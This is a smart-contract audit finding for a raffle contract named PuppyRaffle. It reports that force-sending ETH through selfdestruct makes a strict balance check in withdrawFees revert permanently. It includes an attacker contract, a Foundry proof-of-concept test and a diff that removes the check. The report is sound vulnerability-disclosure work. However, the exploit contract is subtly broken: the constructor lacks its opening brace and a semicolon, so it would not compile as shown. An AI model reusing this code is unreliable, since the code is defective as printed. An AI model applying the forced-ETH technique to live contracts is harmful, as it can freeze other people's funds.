[M-3] Selfdestructing a contract can send eth to PuppyRaffle and withdrawFees will fail
Description:
Checking the address total balance is fragile in the sense, if a malicious user sends some eth to the contract by self destructing another contract, then the check require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
will always fail, even if there are no players at the moment.
Impact:
Medium
Tools used:
foundry, manual
Proof of Concept:
pragma solidity ^0.7.6;
contract SelfDestruct {
address payable victim;
constructor(address payable _victim)
victim = _victim
}
receive() external payable {}
function close() public {
selfdestruct(victim);
}
}
function testUsingSelfDestructContractSendEth() public playersEntered{
SelfDestruct selfDestruct = new SelfDestruct(payable(address(puppyRaffle)));
vm.startPrank(address(selfDestruct));
vm.deal(address(selfDestruct), 1 ether);
vm.stopPrank();
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
puppyRaffle.selectWinner();
selfDestruct.close();
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}
Recommended Mitigation:
@@ -154,7 +154,6 @@ contract PuppyRaffle is ReentrancyGuard, ERC721, Ownable {
/// @notice this function will withdraw the fees to the feeAddress
function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");